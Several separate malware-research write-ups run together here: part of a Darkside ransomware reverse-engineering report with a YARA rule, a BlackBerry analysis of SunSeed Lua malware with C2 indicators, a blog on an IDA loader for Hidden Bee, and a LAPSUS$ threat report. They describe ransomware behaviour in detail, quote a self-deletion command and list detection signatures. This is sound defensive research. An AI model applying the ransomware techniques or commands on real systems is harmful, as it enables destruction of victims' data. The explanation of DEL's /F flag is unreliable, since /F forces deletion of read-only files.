### Connecting To C2 & Sending Victim Information
If CONFIG_C2_URL_FLAG is set to 1 and the C2 URL is provided in the configuration, it will send the victim’s OS information to the C2 server. The function to extract user’s OS information uses functions such as GetUserNameW, GetComputerNameW, MachinePreferredUILanguage to find this information. After having extracted everything, it will write all the data into a string format into this JSON form.
Next, it will build a wrapper string to include the malware version and the victim’s UID with this OS information. The final string will be in this JSON form.
This string will be hashed by a manual hashing function. The hashed information string and the victim UID are then written into this format string, which is later used as the network packet’s content to be sent to C2.
### Wiping Recycle Bin
If the WIPE_RECYCLE_BIN_FLAG in the configuration is set to 1 and the current process is run as an ADMIN, Darkside will try to wipe all recycle bin folders that it can find in the machine’s drives. First, to find a recycle bin folder in a given drive path, the function iteratively calls FindFirstFileExW and FindNextFileW to find a folder that contains ”*recycle*” in its name. After finding the path to the recycle bin, Darkside loops through each directory inside and calls a recursive function to completely empty it. The recursive function is pretty simple. It uses FindFirstFileExW and FindNextFileW to find files and folders inside. If it finds a file, it will call DeleteFileW to delete it. If it finds a folder, it will recursively call itself again to delete the folder’s contents and call RemoveDirectoryW to delete it.
### Deleting Shadow Copies
If the DELETE_SHADOW_COPIES_FLAG in the configuration is set to 1, Darkside will try to delete all shadow copies on the system. There are two different functions to handle this task based on the machine’s system architecture. If the machine is a 64-bit Windows machine, it decrypts a CMD command and executes it using CreateProcessW. If the machine is a 32-bit Windows machine, Darkside will call CoInitializeEx, CoInitializeSecurity, and CoCreateInstance to create a single object of the class IWbemLocator with the specified CLSID to query from wbemprox.dll. Using the object IWbemLocator, it calls the ConnectServer function to connect to the local “root/cimv2” namespace and obtains a pointer to the IWbemServices object. With this IWbemServices object, Darkside executes the SQL query SELECT * FROM Win32_ShadowCopy to retrieve an enumerator of all the shadow copies in the local server. It then loops through each of the shadow copy objects, gets its ID, and calls the object’s DeleteInstance function to delete itself.
### Killing Target Services
If the SERVICE_TO_KILL_FLAG in the configuration is set to 1, Darkside will traverse through all services on the machine and kill any service that is in the configuration’s SERVICE_TO_KILL list. This is done by calling OpenSCManagerW to open the service control manager and EnumServicesStatusExW to enumerate all services with SERVICE_WIN32 status. Darkside iteratively loops through these services and checks if each exists in the SERVICE_TO_KILL list. If it is, then the service is stopped and deleted with the ControlService and DeleteService calls.
### Killing Target Processes
If the PROCESS_TO_KILL_FLAG in the configuration is set to 1, Darkside will traverse through all processes on the machine and terminate any process that is in the configuration’s PROCESS_TO_KILL list. This is done by calling NtQuerySystemInformation to query an array of SYSTEM_PROCESS_INFORMATION structs with each containing a process name. Darkside iteratively loops through these processes and checks if each exists in the PROCESS_TO_KILL. If it is, then the process is terminated using TerminateProcess.
### Encrypting All Local Drives
If the ENCRYPT_ALL_DRIVES_FLAG in the configuration is set to 1, Darkside will loop through all drives with the drive type of DRIVE_FIXED, DRIVE_REMOVABLE, or DRIVE_REMOTE on the system. It then builds the appropriate folder path for each drive and calls main_encryption.
### Encrypting Shared Folders
If the ENCRYPT_NET_SHARED_RESOURCE_FLAG in the configuration is set to 1, Darkside will attempt to get all paths to shared folders on the network and encrypt them using main_encryption. First, it calls a function to extract all network host addresses with two sub-functions. The first sub-function calls GetAdaptersInfo and inet_addr to extract the addresses of other hosts on the network. It then calls the second sub-function and provides these addresses as the parameter. The second sub-function launches threads using CreateThread to call SendARP and gethostbyaddr to find other hosts’ names on the network through their addresses. After finding all host names and putting them into a global array, Darkside calls NetShareEnum to enumerate through all network shared folders, builds the appropriate network paths, and calls main_encryption to encrypt them.
### Sending C2 Server Encryption Stats
After the encryption is finished and if the CONFIG_C2_URL_FLAG is set to 1 in the configuration, Darkside will send the C2 server the final encryption stats. First, it decrypts the format string for this packet and starts writing the victim ID, UID, encrypted file count, encryption size, skipped file count, and elapsed time into this format string.
## Main Encryption
We finally come to the juiciest part of the ransomware, the main encryption function! This function is fairly complex, so I’ll divide my analysis into parts again.
### Initial Operations
Before the encryption takes place, the malware checks if the system has at least 0x6400000 bytes or 100 MBs of free space. This space is necessary for dropping a ransom note in every directory and because the encryption also increases each file by a set amount. If the CONFIG_C2_URL_FLAG in the configuration is set to 1, Darkside also starts recording the time that it begins encryption by calling GetTickCount.
### Creating Worker Threads
Darkside uses multithreading with I/O completion port to communicate between the main thread and the worker threads and speed up encryption. This can potentially be really good, but there is unfortunately one design flaw that slows the entire process down. First, Darkside creates 2 I/O completion ports by calling CreateIoCompletionPort, which are used by the main thread to send file data to be encrypted to worker threads. Next, it spawns a set number of threads based on the processor count of the system. It will spawn 2 threads for each processor count, but this maxes out at 64 threads even if there are more than 32 processors. It’s best to have one thread per processor, but because the multithreading design of Darkside does not maximize the system’s processing power, it doesn’t matter that much. Each of these threads is added to a global thread array to make cleaning up more organized by calling WaitForMultipleObjects with the array as its parameter.
### Recursive Directory Traversal
The only mistake in this ransomware is that its main thread uses a depth-first search algorithm of recursive traversal, which slows down the encryption speed significantly despite the good multithreading setup. First, in the recursive function, the main thread calls SetEntriesInAclW and SetNamedSecurityInfoW to access/audit control and security information of the directory that is being processed. Below is the hard-coded EXPLICIT_ACCESS_W struct with the new security and access information. Next, if the RANSOM_NOTE_FLAG in the configuration is set to 1, Darkside will drop a ransom note in the processed directory using this function. The file/directory checks come after this. First, to begin calling FindFirstFileExW on the current directory, it must add the characters ”\\*” to the end of the directory name. As it loops through the folder to find sub-directories and files using FindNextFileW, it first checks to avoid the two directory names ”.” and ”..”, which link to the current directory and parent directory. These two can cause the program to go into an infinite recursion if the malware does not avoid them. It also checks the file attribute to avoid the sub-directories/files that have the attribute FILE_ATTRIBUTE_ENCRYPTED. After these checks, if the current path points to a directory and the DIRECTORY_TO_AVOID_FLAG is set to 1, then another check is performed to make sure that the sub-folder’s name is not in the DIRECTORY_TO_AVOID list. Once all the checks are completed, its sub-directory path is passed as the parameter to the recursive function. The recursive function is called upon encountering a folder to traverse through all of its sub-folders. If the current path points to a file, Darkside checks the following:
- If the file name is not a README file.
- If its extension is not .TXT.
- If its content is not the ransom note (through compare CRC32 file hashes).
- If FILE_TO_AVOID_FLAG is 1 and the file name is not in CONFIG_FILE_TO_AVOID.
- If FILE_EXTENSION_TO_AVOID_FLAG is 1 and the file extension is not in FILE_EXTENSION_TO_AVOID.
If all of these are true, Darkside proceeds with processing the file. If SQL_SQL_LITE_FLAG is 1 and the filename is in SQL_STRING, it sets the ENCRYPTION_MODE to Full Encryption.
### Check If File Is Encrypted
First, the file path is properly fixed, and a sub-function is called to check if the file has been encrypted or not. This check is done by reading the last 0x90 bytes into a heap buffer and generating a checksum for the first 0x80 bytes using CRC32_checksum_generator. This checksum is compared against the last 0x10 bytes of the buffer, and if they match, it means the file is encrypted. This also gives us a hint that after the encryption, a blob with the encrypted Salsa matrix as the first 0x80 bytes and the key’s checksum as the last 0x10 bytes is appended at the end of each file.
### Terminate Process That Uses File
If PROCESS_TO_AVOID_FLAG is set to 1 in the configuration, Darkside calls a function to find and close another process that currently uses the file. This function has a while loop to continuously check all processes by calling OpenProcess to get a process handle, spawn a thread to call NtQueryInformationFile to get the file owned by this process, and compare that filename with the to-be-encrypted filename. If that process is accessing the to-be-encrypted filename, Darkside will iteratively check to make sure that the process is not in the PROCESS_TO_AVOID list and terminate it once the check is done.
### Generate Encrypted File Name
The filename is copied into a new buffer, and the GUID checksum is appended to the end of the filename. This buffer is later used as the encrypted filename, so Darkside again tries to terminate any process that uses this file.
### Send File Data To Worker Threads
Darkside makes 2 calls to CreateIoCompletionPort to create I/O completion ports associated with the encrypted file handle. It then creates a buffer to add necessary data to send to the worker threads using these I/O completion ports. Important data includes file-related information such as ENCRYPTION_MODE, file handle, and file size. The buffer also includes the Salsa20 matrix, its RSA-1024 encrypted version, and the checksum of the encrypted key. Once this I/O buffer is ready, it is sent to the worker threads using calls to PostQueuedCompletionStatus.
### Salsa20 & Matrix Generation
Darkside makes multiple calls to RtlRandomEx to generate a 64-byte buffer. The reason why this buffer is not a Salsa20 key is because it is way too long (typically Salsa20 key is at most 32-byte long) and because Darkside actually modifies its Salsa20 implementation to not use any key. Typically, a pair of key-nonce is required to generate this Salsa20 initial state matrix. However, Darkside skips this step completely and uses the randomly generated buffer as its Salsa20 matrix. This does not impact the cryptography result of Salsa20 since it’s ultimately a XOR-cipher. To decrypt the file, they just need to have access to this random buffer and use it as the Salsa20 matrix.
### RSA-1024 Encryption
Darkside’s custom RSA-1024 implementation is used to encrypt the Salsa20 matrix before appending it to the end of the encrypted file. The RSA-1024 public key is embedded in Darkside encrypted configurations, and it’s divided into two blobs. The first is the RSA-1024 exponent in little endian. The second is the RSA-1024 modulus.
### I/O Worker Threads
The worker threads share the same functionality, each of which loops infinitely until the main thread signals to close them using CloseHandle. The threads constantly call GetQueuedCompletionStatus on their own I/O completion port until they receive a blob containing information about a file from the main thread. Here are some important offsets in the data blob:
- 0x5: current file offset low
- 0x6: current file offset high
- 0x7: number of bytes to jump to next block depending on ENCRYPTION_MODE (0x80000 for FULL, -1 for FAST, and dynamically changed based on file size for AUTO)
- 0x9: number of times to begin encrypting 0x80000 bytes
- 0xB: File handle
- 0xC: Encryption state
- 0x2d: File size
- 0xD: Random Salsa20 Matrix
- 0x1D: RSA_1024(Salsa20_matrix)
- 0x3d: CRC32_checksum_generator(RSA_1024(Salsa20_matrix))
- 0x41: File buffer
Upon receiving this, they check the byte at offset 0xC of the blob to determine between 4 encrypting states. The pre-encryption state occurs when blob[0xc] is 0, and the thread just calls ReadFile to read 0x80000 bytes from the current file offset into the file buffer. It then sets blob[0xc] to 1 to transition into the encryption state. If it reaches the EOF and the last error number is ERROR_HANDLE_EOF, the thread skips to post-encryption state. The encryption state occurs when blob[0xc] is 1, and the thread will encrypt the file buffer normally using Salsa20. Darkside encrypts one 0x80000-byte block at a time and jumps to the next block right after. If blob[0x7] is not -1, it will jump to the next blob by appending blob[0x7] to the current file offset. If blob[0x7] is -1, the encryption state is changed to the post-encryption state. The encrypted file buffer is then written back into the file using WriteFile and the thread goes back to the pre-encryption state with the updated file offset. The post-encryption state occurs when blob[0xc] is 2. In this state, the encrypted Salsa20 matrix and its checksum are written into the end of the file using WriteFile. After this operation, the thread enters the cleaning up state. The cleaning up state occurs when blob[0xc] is 4. The thread just closes the file handle and goes back to calling GetQueuedCompletionStatus to receive a new file blob.
## Self Deletion
At the end of the program, if SELF_DELETE_FLAG is set to 1 in the configuration, Darkside will execute a command to delete itself. First, it gets the short path of the current malware executable by calling GetModuleFileNameW and GetShortPathNameW. It decrypts the environment variable name “ComSpec” and uses it to get the path to CMD.EXE. Finally, it calls ShellExecuteW to execute the command: CMD.EXE /C DEL /F /Q short_malware_path >> NUL. This CMD.EXE command executes the DEL command. The /F flag is enabling auto-completion of path names entered, which is necessary to extend the short path into a full path. The /Q just turns echo off for stealth!
## Darkside Encryption Speed Discussion
Darkside uses a unique combination of multithreading and recursive file traversal to find and encrypt files. However, its speed is not that impressive due to the use of recursion. We can clearly see that Darkside encryption speed is clearly lacking since it does not abuse 100% of the victim’s CPU. This is because Darkside suffers from thread starvation. Each worker thread can execute the encryption code block relatively fast, but some of them are starved by the main thread and never get a chance to do work. By design, the main thread’s job is to recursively traverse through folders in a depth-first search manner, so the worker threads can only encrypt what the main thread sends them. Starvation arises when the main thread can’t traverse and send files fast enough while the receiving threads already finish their work. Therefore, unless the main thread has a constant throughput of 32 files being sent to I/O completion ports at any given point in time, some thread will definitely be starved, and the CPU will not be fully utilized. Besides the fact that this throughput is almost impossible to obtain by a single thread, the total encryption time is still skewed toward the time it takes for the main thread to finish traversing the system. This design ultimately defeats the purpose of using multithreading and I/O completion port.
## YARA rule
```yara
rule DarksideRansomware1_8_6_2 {
meta:
description = "YARA rule for Darkside v1.8.6.2"
reference = "http://chuongdong.com/reverse%20engineering/2021/05/06/DarksideRansomware/"
author = "@cPeterr"
tlp = "white"
strings:
$hash_alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
$gen_key_buff = {89 54 0E 0C 89 44 0E 08 89 5C 0E 04 89 3C 0E 81 EA 10 10 10 10 2D 10 10 10 10 81 EB 10 10 10 10 81 EF 10 10 10 10 83 E9 10 79 D5}
$dyn_api_resolve = {FF 76 FC 56 E8 91 FE FF FF 56 E8 ?? 69 00 00 8B D8 FF 76 FC 56 E8 85 FB FF FF 8B 46 FC 8D 34 06 B9 23 00 00 00 E8 5E 02 00 00 AD}
$get_config_len = {81 3C 18 DE AD BE EF 75 02 EB 03 40 EB F2}
$RSA_1024_add_big_num = {8B 06 8B 5E 04 8B 4E 08 8B 56 0C 11 07 11 5F 04 11 4F 08 11 57 0C}
$CRC32_checksum = {FF 75 0C FF 75 08 68 EF BE AD DE FF 15 ?? ?? ?? 00 FF 75 0C FF 75 08 50 FF 15 ?? ?? ?? 00 31 07 FF 75 0C FF 75 08 50 FF 15 ?? ?? ?? 00 }
condition:
all of them
}
```
## Samples
I got my sample from MalwareBazaar! Huge shoutout to @JAMESWT_MHT for uploading the sample! Special Thanks to Michael Gillespie for assisting me during the analysis and sharing his resources!
## References
- https://zawadidone.nl/2020/10/05/darkside-ransomware-analysis.html
- https://ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6
- https://pastebin.com/mnvEUNaP
- https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2020-12-01-darkside-ransom-1.3-vk-cfg.raw
- https://github.com/snemes/aplib |
# Threat Thursday: SunSeed Malware Targets Ukraine
## Refugee Aid Efforts
The BlackBerry Research & Intelligence Team
Newly Discovered Malware Strikes European Government Personnel Aiding Ukrainian Refugees
With everyone’s attention turned to Ukraine, it was inevitable that this source of disquiet would be used by attackers as the subject of a phishing lure. A news report earlier this month showed that the European government personnel responsible for assisting refugees fleeing from Ukraine were likely targeted by a threat group called Ghostwriter - also known as TA445 or UNC1151 - who have previously been identified as working in the interests of Belarus.
Researchers discovered that an email, originating from a UKR[.]net email address, was sent to a European government entity containing a malicious Excel® document. UKR.net is a popular Ukrainian ISP and email provider, primarily used for personal email account creation. The email had the following subject line: “IN ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING OF THE SECURITY COUNCIL OF UKRAINE DATED 24.02.2022.”
Researchers also theorize that the sender’s email account might belong to a member of the Ukrainian military, and was potentially compromised in a prior phishing campaign targeting Ukrainian soldiers and civilians.
## Technical Analysis: Into the “Lua-Verse”
### Infection Vector
Upon opening the malicious Excel document, the victim is presented with a fake splash screen prompting them to “Enable Content.” This fake splash screen is made from images; however, the Excel sheet is protected so that the victim cannot interact with the images to determine that it is a facade. If the victim enables the content, then the following macro is run:
This macro creates a Windows® installer object and sets its UILevel to 2. As shown in the snippet below from the MSDN documentation, this is the setting for a “Silent Installation.”
Finally, the macro calls the InstallProduct method, passing it a URL. This prompts Windows to fetch an MSI installer from the specified URL, and to install it. Upon inspecting the fetched installer, we observed the following string:
This string indicates that the installer was built with the Windows Installer XML (WiX) toolset. WiX is an open-source toolset originally developed by Microsoft to help users build installers for Windows. WiX installations are based on a WXS file containing XML, which describes the installation that is then compiled by the toolset. Using the WiX toolset, it is possible to reverse this process and generate XML describing the installer. This is done with the Dark tool, which is shipped with WiX:
“dark.exe {name of MSI file} -x {path to extract into}”
This command also extracts the files packaged inside the installer, which we will describe in more detail shortly.
Looking at the generated WXS XML, we see that the goal is to register a fake “Software Protection Service.” This code bootstraps itself via Windows’ startup folder.
The installer contains the following files:
| Filename | Purpose |
|----------------------------------|---------|
| Software Protection Service.lnk | Shortcut placed in Windows’ startup folder to start on boot |
| http.lua | HTTP/1.1 client support (part of the LuaSocket library) |
| ltn12.lua | Part of the LuaSocket library |
| lua5.1.dll | Lua runtime |
| luacom.dll | Lua add-on for interacting with Windows’ COM objects |
| mime.dll | MIME support (part of the LuaSocket library) |
| mime.lua | |
| print.lua | Malicious Lua script (SunSeed) |
| socket.dll | LuaSocket library core |
| socket.lua | |
| sppsvc.exe | Standalone Lua interpreter – direct from LuaBinaries 5.1.5 Windows x86 release |
| tp.lua | Unified SMTP/FTP subsystem (part of the LuaSocket library) |
| url.lua | URI parsing support (part of the LuaSocket library) |
The majority of these files constitute a barebones installation of Lua, a lightweight open-source programming language. This is required for the core malicious script “print.lua” to run. The print.lua file is where this malware starts to get especially interesting.
### Print.lua
At the top of the print.lua script is some config parsing code. This is then followed by the config declaration. The following functions are also renamed at the top of the script, to make it more difficult for analysts to parse.
Simplifying the config parsing script produces the following script. For those familiar with compression algorithms, this is recognizable as an implementation of LZ decompression. This decompress function consumes tokens from the config by reading a single character, which is then converted from base 36. This first value indicates how many characters to consume for the actual token, which is then also base 36 decoded.
This process is then repeated, and the config is decompressed. Sadly, this still appears to be gibberish, so we have more work to do to make its purpose clear.
Following the Lua script, it goes on to declare many functions. However, at the very bottom of the script is a final invocation. “E” is the main function of the code. “C,” which was declared further up the script, is a function that returns the Lua environment variable _ENV. So, from here we will look at the call to “F.” F was originally the function that decompressed the embedded configuration; however, it is redeclared later.
After some further digging, it turns out that this function parses the config that was decompressed earlier. The functions “o” and “d” here – which pull data from the config – consume four- and one-byte values respectively, and they XOR each byte with 0x73. Jumping the gun and XOR-decoding the entire config gives us the following. This starts to reveal the goal of the Lua code.
### Deeper into the Lua-verse
Jumping back to function F, there are three distinct “for” loops, where each loop decodes a segment of the config. The first loop does not achieve anything, as the loop counter is zero. However, the second loop parses a table of variables. Before focusing on the second loop, it is first necessary to look at the declaration of the variable "a,” which is populated with the parsed config data.
Note here that “f” is a table with 47 items, which are all initially declared as zero. Next, we see the excerpt of function F containing the second “for” loop. Inside this second “for” loop, each iteration declares a local variable “e” that is used for deciding which “if-else” code block to enter. The function d consumes a single byte from the config, which is parsed as an integer. This value corresponds to the data type of the variable and how to parse it. The three data types are as follows:
- 0x01 = ? (Unused)
- 0x02 = String
- 0x03 = Integer
However, the script only makes use of data types 0x02 and 0x03. The most common variable type is the string type (0x02) that results in a call to function “s.” This reads a four-byte integer that is the length of the string, and then it reads the actual string using the length value. Before the loop is entered, function o is called, which first reads a four-byte integer that is used to figure out the number of iterations required for the loop.
The first five bytes are consumed as the first loop counter (zero) and a one-byte integer (also zero), which is stored in a[4]. Next, the second loop counter is consumed (0x18 = 24), which indicates the variable section of the config contains 24 values.
Next the loop starts parsing these values. The first variable is a string type (0x02), so first a length is decoded (0x06 = 6), and then the string itself is read (“serial”). Following the same procedure for the next variable gives the string “string,” followed by “gsub,” and so on. In fact, only one variable of type integer (0x03) is found in the entire config. After decoding, this integer evaluates to three. The last value stored in the variable table is the string “collectgarbage.”
The third loop, and therefore final section of the config, is where SunSeed gets interesting. The last loop counter, found after the variable table, is 0x2f = 47. This explains the reasoning behind the table of 47 zeroes declared initially, which is to hold the 47 decoded values from this final section of the config. This section of the config is comprised of 47 “frames,” which are decoded from two four-byte values.
### Stepping Into the Machinery
Incredibly, it appeared that the authors of SunSeed had created a quasi-virtual machine (VM) in the last function E, referenced earlier. After some digging however, it seems that the heavily obfuscated print.lua could in fact be the work of an open-source Lua obfuscator called “Prometheus.” The Prometheus obfuscator includes both a “VMify” step, which converts the Lua script into bytecode and creates a VM to process it, and a “ConstantArray” step that puts all variables into a table at the start of the script. This is starting to sound eerily familiar. Either way, this virtual machine consumes the previously mentioned 47 frames, using the variable table and a makeshift set of “registers” to execute the core functionality of SunSeed.
The VM is instrumented as a big loop with a convoluted set of “if-else” statements that perform the same function as a switch statement with different cases, where each case can be thought of as a single instruction. Digging into this VM helps explain how the frame data is used. The first 10 frames are as follows:
| Index | Frame | 1 | 2 | 3 | 5 |
|-------|-------|---|---|---|---|
| 1 | 22 | 0 | 2 | 4118 |
| 2 | 0 | 0 | 0 | 3 |
| 3 | 0 | 1 | 4 | 8192 |
| 4 | 0 | 2 | 5 | 10240 |
| 5 | 0 | 1 | 2 | 2 |
| 6 | 0 | 1 | 1 | 6 |
| 7 | 0 | 2 | 7 | 14336 |
| 8 | 0 | 1 | 2 | 2 |
| 9 | 0 | 1 | 1 | 8 |
| 10 | 0 | 1 | 1 | 9 |
At the start of the loop, the first frame is consumed, and the first item (22) is used to identify the “if” statement block to drop into. For context:
- n = The variable table decoded from the second section of the config
- i = The Lua environment variable _ENV
- o = The makeshift register storage
- l = The current frame
After some local variable declarations, we find the following line:
`o[l[2]] = i[n[l[3]]]`
Here, frame index 3 (l[3] = 2) is used as a lookup into the variable table (n[2] = ”string”), which is then used to index into the _ENV variable (i). This value is then stored in the register table (o) using the frame index 2 (l[2] = 0). Simplifying this gives us the following:
`o[0] = _ENV[”string”]`
This code is loading the string function table from the Lua environment, which contains references to Lua’s core string manipulation functions. The next two lines are:
`e = e + 1`
`l = c[e]`
These steps are simply advancing to the next frame. Following this procedure, the first 10 frames simplify down to:
```
o[0] = _ENV[“string”]
o[0] = o[0][“gsub”]
o[1] = _ENV[“require”]
o[2] = “luacom”
s = o[1](“luacom”)
o[1] = s[1]
o[1] = o[1][“CreateObject”]
o[2] = “Scripting.FileSystemObject”
s = o[1](“Scripting.FileSystemObject”)
o[1] = s[1]
o[1] = o[1][“Drives”]
o[2] = o[1]
o[1] = o[1][“Item”]
```
With some refactoring, this becomes:
```
gsub_func = _ENV[“string”][“gsub”]
require(‘luacom’)
drives_item = luacom.CreateObject(“Scripting.FileSystemObject”)[“Drives”][“Item”]
```
Using the variable table and information in the frames, the VM is dynamically building and executing Lua code. This is no easy feat, and a difficult feature to build into an obfuscator! This dynamic building process avoids any direct calls to Lua functions that cannot be fully obfuscated or hidden and would therefore be easier for a researcher reading the script to identify. For example, back in Figure 8, some Lua functions were renamed to obfuscate the code. However, with a simple find/replace operation, the function calls can be restored back into the code. This is how the config parsing code was simplified.
Continuing to step through the frames, the final Lua program reduces to the following Lua code:
SunSeed sits in a loop, checking for additional Lua scripts to execute from the command-and-control (C2) (84[.]32.188[.]96). Sadly, no further scripts were seen from the C2 during our research.
An important point to note is that the Trojanized installer brings an extra module “tp.lua,” which is not required for the core script. This indicates that the module is required for future Lua scripts; tp.lua is a Lua library that supports SMTP and FTP, which indicates that future scripts from the C2 are likely concerned with email and file operations.
## Conclusion
While SunSeed is a rather basic piece of malware from a functionality perspective, the way in which the malware is obfuscated is far from simple. Typically, concealing the intentions of a script is much more difficult than for compiled binaries; scripts are meant to be read, whereas machine code is not. But the obfuscation witnessed here is intense.
Lua’s popularity has grown in recent years, largely due to its use in the successful game Roblox. The appearance of Lua in such a high-profile scenario, coupled with the increase in open-source Lua tooling and knowledge to draw from, could be an indicator that Lua’s use in the world of malware is on the rise.
With millions of people fleeing Ukraine, attackers seek new ways to wreak havoc on organizations that are helping get them to safety. As this story continues to unfold, BlackBerry will share new information as it becomes available, to better arm defenders against malicious threats such as SunSeed.
## IOCs
- 84[.]32.188[.]96 - SunSeed C2
- 84[.]32.188[.]141 - Hosting Trojanized MSI
- 31d765deae26fb5cb506635754c700c57f9bd0fc643a622dc0911c42bf93d18f – Trojanized MSI
- 1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3 - Malicious Excel Document
- 7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328 – Core print.lua script
## About The BlackBerry Research & Intelligence Team
The BlackBerry Research & Intelligence team examines emerging and persistent threats, providing intelligence analysis for the benefit of defenders and the organizations they serve. |
# Weekend Project: A Custom IDA Loader Module for the Hidden Bee Malware Family
Here's a half-day project that I did this weekend for my own edification. Perhaps someone will benefit from the source code in the future.
While reading hasherezade's research on the Hidden Bee malware family's custom file format, I was struck with the thought that this use-case seemed particularly well-suited for an IDA custom loader module. The IDA loader module approach has a few advantages over the previous approach: it's fully automated, requiring no additional programs, plugins, or scripts; the imports have proper names and type information, allowing IDA's ordinary P.I.T. algorithms to propagate the information; and the user can relocate the database to an arbitrary base address.
Given that custom loaders are the only variety of IDA plugin that I haven't yet written, this seemed like a nice small-scope project for the weekend to round out my knowledge. My very minor contribution with this entry is the IDA custom loader for the Hidden Bee format, which can be found on my GitHub. The IDAPython code requires that Ero Carrera's pefile module be installed, say via pip.
## Hidden Bee
In brief, the Hidden Bee malware family distributes payloads in a customized file format, which is a majorly stripped-down version of the PE file format. I did no original malware analysis for this project; I merely read her blog entry, figured out how to convert the details into a loader plugin, and then debugged it against the sample links she gave. As usual, Chris Eagle's *The IDA Pro Book, 2nd Edition* was useful. Some details about the loader API have changed with the IDA 7.x API port, but Hex-Rays' porting guide was informative, and the loader examples in the IDA 7.1 SDK have also been ported to the newest API.
## IDA Loader Modules in Brief
An IDA loader module is simply an IDA plugin with a well-defined interface. IDA loader modules will be called when loading any file into IDA. They have two primary responsibilities:
1. Given access to the bytes of a file, determine whether the file is of a format that the loader module can handle. Every IDA loader module must export a function named `accept_file` for this purpose. This function returns 0 if it can't recognize the file format, or a non-zero value if it can.
2. If the file type can be loaded by the module, and the user chooses to use this module to load the file, perform the actual loading process e.g. creating segments within the IDB, copying bytes out of the file into the segments, processing relocations, parsing imports, adding entrypoints, and so on. Every IDA loader module must export a function named `load_file` for this purpose.
Both of these functions take as input an `linput_t *` object that behaves like a C `FILE *` object, which supports seeking to specified positions, reading byte arrays out of the file, and so on. Since Hidden Bee's format includes relocations, I chose to implement a third, optional IDA loader module function: `move_segm`. This function will be called by the IDA kernel when the user requests that the database be relocated to another address.
## Writing a Loader Module for Hidden Bee
After reading the aforementioned write-up, I figured that the only difficulties in loading Hidden Bee images in IDA would be A) that the Hidden Bee customized header specifies API imports via hash rather than by name, and B) that it includes relocation information.
Relocations and import lookup via hash are simple enough conceptually, but the precise details about how best to integrate them with IDA are not obvious. Sadly, I did not feel confident in these tasks even after reading the loader module examples in the SDK. Four out of the five hours I spent on this project were reverse engineering `%IDADIR%\loaders\pe.dll` -- the loader module for the PE file format -- focusing in particular on its handling of relocations and imports. As expected, the results are idiosyncratic and I don't expect them to generalize well.
### Imports
For dealing with the imports by hash, hasherezade's toolchain ultimately generates a textual file with the addresses of the import hash names and their corresponding plaintext API string. Instead, I wanted IDA to show me the import information the same way it would in a normal binary -- i.e., I wanted IDA to set the proper type signature on each import. After a few hours reverse engineering the virtual functions for the `pe_import_visitor_t` class, it turns out that all you have to do to trigger this functionality is simply to set the name of the DWORD to something from a loaded type library.
### Relocations
For the `IMAGE_REL_BASED_HIGHLOW` relocations common in PE files, each can ultimately be processed via straightforward translation of the relocation information into IDA's `fixup_data_t` data structures, and then passing them to the `set_fixup` API. The SDK examples did not give a straightforward idea of what I needed to do to handle PE `IMAGE_REL_BASED_HIGHLOW` relocations properly, so I reverse engineered `pe.dll` to figure out exactly what needed to happen with the relocations. If you wish, you can see the results in the `do_reloc` function. |
# Detailed Analysis of LAPSUS$ Cybercriminal Group
**Executive Summary**
Update: Lapsus$ ransomware group’s recent target is IT and software giant Globant. This article has been updated with the analysis of the attack on Globant, which came to light on 30 March 2022. CloudSEK’s flagship digital risk monitoring platform XVigil discovered a post on Telegram, sharing the Nvidia employee credentials, Samsung’s source code, and the latest addition to those already high-profile targets: Microsoft’s Cortana and Bing’s source code, along with Okta’s customer data.
Lapsus$ ransomware gang claimed to have compromised Nvidia and now targets Samsung with the breach, further claiming to have gained access to source code used in Samsung Galaxy smartphones and Okta’s customer data. The ransomware gang leaked source code, dehashed credentials, code signing certificates, and source code to the driver. The leaked data unlocks the potential for threat actors to gain unauthorized access to personal, proprietary, and Intellectual Property (IP) data of Nvidia, and they have also leaked 90% of the source code of Bing Maps, Bing, and Cortana, claiming to be at 45%. While writing this report, we discovered that Personally Identifiable Information (PII) related to the Lapsus$ ransomware gang was released at a Russian language cybercrime forum.
This screenshot was posted on the Telegram group, and while analyzing closely, we can see that they have access to Jira, Slack, G-Suite, and other internal applications as well. RDP access is being used in the screenshot.
## Analysis and Attribution
### Information from Telegram
On 22nd March 2022, the group claimed to leak Bing Maps, Bing, and Cortana source code. Our threat intelligence team has confirmed that these claims are true, shortly after there were official blogs from Microsoft and Okta confirming the breach.
### Original Perpetrators of Breach
The LAPSUS$ cyber-criminal group has been known to exploit the weakest link in the security chain of a corporate network: human mistakes and bad practices. They achieve initial access using the following tactics:
- Redline Malware stealer logs.
- Popular marketplaces like amigos and russian-market to get logs, credentials, and session tokens.
- Paying insiders to provide them with VPN, VDI (Citrix), identity providers, and even RDP access.
- Publicly available secrets on GitHub/GitLab repositories.
The next steps involve privilege escalation and post-exploitation:
- Exploiting existing vulnerabilities, including unpatched versions of Jira, Confluence, Fortiguard, Microsoft Exchange servers, etc.
- Accessing version control systems and looking at private repositories to gain access to secrets and gems.
- Accessing mailboxes/collaboration software like Slack to get access to credentials shared in plain text.
### Microsoft Leak Analysis
Microsoft stated:
“This week, the actor made public claims that they had gained access to Microsoft and exfiltrated portions of source code. No customer code or data was involved in the observed activities. Our investigation has found a single account had been compromised, granting limited access. Our cybersecurity response teams quickly engaged to remediate the compromised account and prevent further activity. Microsoft does not rely on the secrecy of code as a security measure, and viewing source code does not lead to elevation of risk.”
The leak contains 56,484 directories, 333,743 files, and the source code for Cortana, Bing Maps, and Bing. The aggregate size of the data leaked is 37.8 GB. The leak also contains multiple sensitive endpoints and 135 .pfx files, which contain the SSL certificate (public key) and the corresponding private key.
By looking at the files, we can conclude:
- No customer data was affected.
- No PII was leaked.
- Source code along with certificates and pfx files were leaked.
- The Lapsus$ group is not very strong with operational security as they posted a proof of concept in the Telegram channel while the exfiltration was still underway.
### Okta Breach Analysis
Okta released a statement:
“Okta detected an unsuccessful attempt to compromise the account of a customer support engineer working for a third-party provider. As part of our regular procedures, we alerted the provider to the situation, while simultaneously terminating the user’s active Okta sessions and suspending the individual’s account. Following those actions, we shared pertinent information (including suspicious IP addresses) to supplement their investigation, which was supported by a third-party forensics firm.”
